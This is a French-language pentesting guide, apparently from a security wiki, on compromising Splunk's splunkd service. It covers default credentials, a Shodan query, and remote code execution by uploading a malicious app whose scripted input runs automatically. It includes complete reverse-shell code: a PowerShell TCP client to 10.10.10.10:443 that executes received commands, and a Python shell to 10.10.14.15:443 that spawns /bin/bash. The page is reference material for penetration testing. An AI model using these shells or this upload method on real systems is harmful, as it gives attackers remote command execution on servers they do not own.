# 8089 - Pentesting Splunkd {{#include ../banners/hacktricks-training.md}} ## **Informations de base** - Outil d'analyse de logs utilisé pour la collecte, l'analyse et la visualisation des données - Couramment utilisé dans la surveillance de la sécurité et l'analyse commerciale - Ports par défaut : - Serveur web : 8000 - Service Splunkd : 8089 ### Vecteurs de vulnérabilité : 1. Exploitation de la version gratuite - La version d'essai se convertit automatiquement en version gratuite après 60 jours - La version gratuite manque d'authentification - Risque de sécurité potentiel si elle n'est pas gérée - Les administrateurs peuvent négliger les implications de sécurité 2. Faiblesses des identifiants - Anciennes versions : Identifiants par défaut `admin:changeme` - Nouvelles versions : Identifiants définis lors de l'installation - Potentiel d'utilisation de mots de passe faibles (par exemple, `admin`, `Welcome`, `Password123`) 3. Opportunités d'exécution de code à distance - Plusieurs méthodes d'exécution de code : - Applications Django côté serveur - Points de terminaison REST - Entrées scriptées - Scripts d'alerte - Support multiplateforme (Windows/Linux) - Les entrées scriptées peuvent exécuter : - Scripts Bash - Scripts PowerShell - Scripts Batch Potentiel d'exploitation clé : - Stockage de données sensibles - Manque d'authentification dans la version gratuite - Multiples vecteurs pour une potentielle exécution de code à distance - Possibilité d'exploiter des entrées scriptées pour compromettre le système ### Shodan - `Splunk build` ## RCE ### Créer une application personnalisée Splunk offre une méthode sophistiquée pour l'exécution de code à distance via le déploiement d'applications personnalisées, tirant parti de ses capacités de script multiplateformes. La technique d'exploitation principale tourne autour de la création d'une application malveillante capable d'exécuter des shells inversés sur les systèmes Windows et Linux. Une application personnalisée peut exécuter **des scripts Python, Batch, Bash ou PowerShell**. De plus, **Splunk est livré avec Python installé**, donc même sur des systèmes **Windows**, vous pourrez exécuter du code Python. Vous pouvez utiliser [**cet**](https://github.com/0xjpuff/reverse_shell_splunk) exemple avec le **`bin`** contenant un exemple pour [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) et [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou vous pourriez créer le vôtre. Le processus d'exploitation suit une méthodologie cohérente à travers les plateformes : ``` splunk_shell/ ├── bin (reverse shell scripts) └── default (inputs.conf configuration) ``` Le fichier de configuration critique `inputs.conf` active le script en : - Définissant `disabled = 0` - Configurant un intervalle d'exécution de 10 secondes - Définissant le type de source du script Le déploiement est simple : 1. Créer le package d'application malveillant 2. Configurer un écouteur (Netcat/socat) sur la machine attaquante 3. Télécharger l'application via l'interface de Splunk 4. Déclencher l'exécution automatique du script lors du téléchargement Exemple de shell inversé Windows PowerShell : ```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() ``` Exemple de shell inversé Python sur Linux : ```python import sys, socket, os, pty ip = "10.10.14.15" port = "443" s = socket.socket() s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` ### RCE & Escalade de Privilèges Dans la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut être abusé pour escalader les privilèges et obtenir une persistance : {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}} ## Références - [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}}